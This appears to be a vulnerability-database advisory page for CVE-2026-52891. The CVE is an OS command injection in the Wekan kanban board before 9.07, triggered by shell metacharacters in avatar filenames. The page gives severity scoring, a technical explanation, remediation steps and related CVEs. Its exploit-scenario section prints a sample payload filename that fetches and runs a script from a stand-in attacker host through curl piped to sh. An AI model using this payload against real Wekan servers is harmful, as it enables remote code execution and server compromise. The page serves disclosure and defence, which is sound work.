Skip to main content

Wekan CVE-2026-52891

CRITICAL
OS Command Injection (CWE-78)
2026-07-15 GitHub_M
9.9
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Wekan instance
  2. Delivery
    Upload avatar with malicious filename
  3. Exploit
    Server MIME check passes name to shell
  4. Execution
    Shell interprets $()/backticks
  5. Impact
    Execute arbitrary commands as Wekan process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated Wekan user account with access to the avatar upload feature (per CVSS PR:L). The attacker must control the uploaded filename and include shell metacharacters such as backticks or $() - the vulnerable path is triggered only through the avatar upload flow that invokes server-side MIME-type detection with the 'file' command in models/avatars.js / models/fileValidation.js. Limiting factors: exploitation is impossible without a valid login, so deployments that disable self-registration or restrict membership greatly reduce the attacker pool; no victim interaction is needed (UI:N); the target must be running a Wekan version prior to 9.07. There is no default-config unauthenticated path here.

Impact

Signals are largely consistent toward high severity but with an important access caveat. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C, C/I/A:H = 9.9) indicates a low-complexity network attack requiring only low privileges, yielding full compromise; command execution on the server is a realistic worst case. The critical constraint is PR:L: the attacker must be an authenticated Wekan user with access to the avatar-upload feature, so this is not an unauthenticated internet-facing flaw. I assess the scope as likely Unchanged (RCE runs as the Node process user within the same authority), which would place the true base score nearer 8.8 rather than 9.9 - the vendor's S:C inflates it somewhat. No EPSS score, KEV listing, or POC was provided; there is no public exploit identified at time of analysis and no evidence of active exploitation. Net: a genuine high-priority RCE for any multi-user Wekan deployment, but exploitation depends on the attacker first holding a valid account, which meaningfully limits mass, unauthenticated abuse.

Exploit ScenarioDerived

An attacker who holds any authenticated Wekan account navigates to their profile and uploads an avatar image whose filename contains a shell payload, e.g. $(curl attacker.tld/x|sh).png or a backtick-wrapped command. When the server runs MIME-type detection via the shell, the embedded command executes with the privileges of the Wekan process. No public POC is identified at time of analysis, but the low attack complexity makes reliable exploitation straightforward once account access is obtained.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 15, 2026

OS command injection in Wekan (the open-source Meteor-based kanban board) before version 9.07 lets an authenticated user execute arbitrary commands on the server by uploading an avatar with shell metacharacters in its filename. The user-supplied filename is embedded into a shell string passed to child_process.exec() for MIME-type detection in models/avatars.js and models/fileValidation.js, so backticks or $() in the name run as server-side commands. No public exploit is identified at time of analysis, but the vendor commit and advisory confirm the flaw; it is fixed in v9.07.

RemediationAI

Vendor-released patch: upgrade to Wekan 9.07 or later (https://github.com/wekan/wekan/releases/tag/v9.07), which sanitizes avatar filenames to an allowlist and replaces the shell-based exec() call with execFile() so no shell is invoked (fix commit https://github.com/wekan/wekan/commit/a4c74a5980e9f778eb444fd346f32aa3d16786a9; advisory https://github.com/wekan/wekan/security/advisories/GHSA-35j7-h385-2q9g). If immediate upgrade is not possible, restrict who can register and log in (disable open self-registration) to shrink the pool of authenticated users who can upload avatars, and place Wekan behind a trusted-network boundary or reverse proxy with authentication; these reduce exposure but do not close the bug for existing legitimate users. As a stronger stopgap, run Wekan in a hardened, minimal-privilege container so that any command execution is contained, accepting that this limits blast radius rather than preventing injection.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Wekan performs server-side MIME-type detection on uploaded avatars by shelling out to the Unix 'file' utility (file --mime-type -b "<path>") via Node.js child_process.exec(). Because exec() spawns a shell, and the on-disk path incorporated the raw user-supplied filename, any shell metacharacter (backtick, $(), ;, |, &) in the filename was interpreted by the shell rather than treated as literal path data. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) failure: untrusted input crossing a shell boundary without escaping. The fix addresses it in two layers - sanitizing the filename to an allowlist of [a-zA-Z0-9_.-] in the naming function, and, more fundamentally, replacing exec() with execFile('file', ['--mime-type','-b', path]) so no shell is spawned and the path is passed as a discrete argv element. Affected CPE: cpe:2.3:a:wekan:wekan:*.

Know when Wekan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable upload with low complexity but requires a valid account (PR:L); command execution runs as the app process within one authority so scope Unchanged, giving full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Wekan is open source kanban built with Meteor. Prior to 9.07, Wekan avatar upload functionality embeds user-supplied filenames into paths later passed to child_process.exec() for MIME-type detection. Because models/avatars.js and models/fileValidation.js used a shell command with the avatar filename, shell metacharacters such as backticks and $() in the filename could execute commands on the server. This issue is fixed in version 9.07.

Executive ViewAI

Why It Matters

Wekan (open-source kanban board) versions before 9.07 contain a critical OS command injection vulnerability (CVE-2026-52891, CVSS 9.9) that allows authenticated users to execute arbitrary commands through maliciously-named avatar uploads. No public exploit has been identified, but successful exploitation enables complete server compromise with data theft and service outage. Organizations using Wekan face immediate operational and security risk from any internal user with account access and upload permissions.

Business Impact: Severe
Compensating Controls

Apply vendor patch: Wekan v9.07. Until patched, restrict avatar upload functionality to administrator accounts only and implement file upload monitoring to alert on shell metacharacters in filenames.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
Low
niche self-hosted open-source kanban tool, limited enterprise footprint
Social Media
2
Sightings
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:wekan:wekan:*:*:*:*:*:*:*:*

More in Wekan

View all
CVE-2021-3309 HIGH POC
8.1 Jan 26

packages/wekan-ldap/server/ldap.js in Wekan before 4.87 can process connections even though they are not authorized by t

CVE-2026-55652 CRITICAL
9.8 Jul 15

Authentication bypass in Wekan (open-source Meteor kanban) before version 9.46 lets an unauthenticated attacker imperson

CVE-2023-28485 MEDIUM POC
5.4 Jun 26

A stored cross-site scripting (Stored XSS) vulnerability in file preview in WeKan before 6.75 allows remote authenticate

CVE-2021-20654 MEDIUM POC
5.4 Feb 10

Wekan, open source kanban board system, between version 3.12 and 4.11, is vulnerable to multiple stored cross-site scrip

CVE-2026-52893 CRITICAL
9.2 Jul 15

Account takeover in Wekan (open-source Meteor kanban) before 9.32 allows an attacker who controls an OIDC provider accou

CVE-2026-68561 HIGH
8.8 Aug 19

Privilege escalation in Wekan open-source kanban (all versions prior to 9.89, dubbed 'SortBleed') allows any board membe

CVE-2025-65780 HIGH
8.8 Dec 15

Privilege escalation in the self-hosted Wekan kanban board through version 18.15 allows any authenticated user to rewrit

CVE-2026-68899 HIGH
8.7 Aug 19

Stored XSS in Wekan prior to v9.90 allows authenticated board members to upload HTML containing JavaScript disguised as

CVE-2026-25560 HIGH
8.7 Feb 07

LDAP filter injection in WeKan before 8.19 allows remote unauthenticated attackers to manipulate LDAP search filters and

CVE-2026-41454 HIGH
8.7 Apr 22

Privilege escalation in WeKan (versions prior to 8.35) allows authenticated board members with low privileges to perform

CVE-2026-68558 HIGH
8.5 Aug 19

Wekan's outgoing webhook URL validator in versions 8.36 through 9.73 allows authenticated board members to bypass SSRF p

CVE-2026-55234 HIGH
8.5 Jul 15

Improper access control in Wekan (self-hosted open-source Meteor kanban) before version 9.37 lets any authenticated user

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy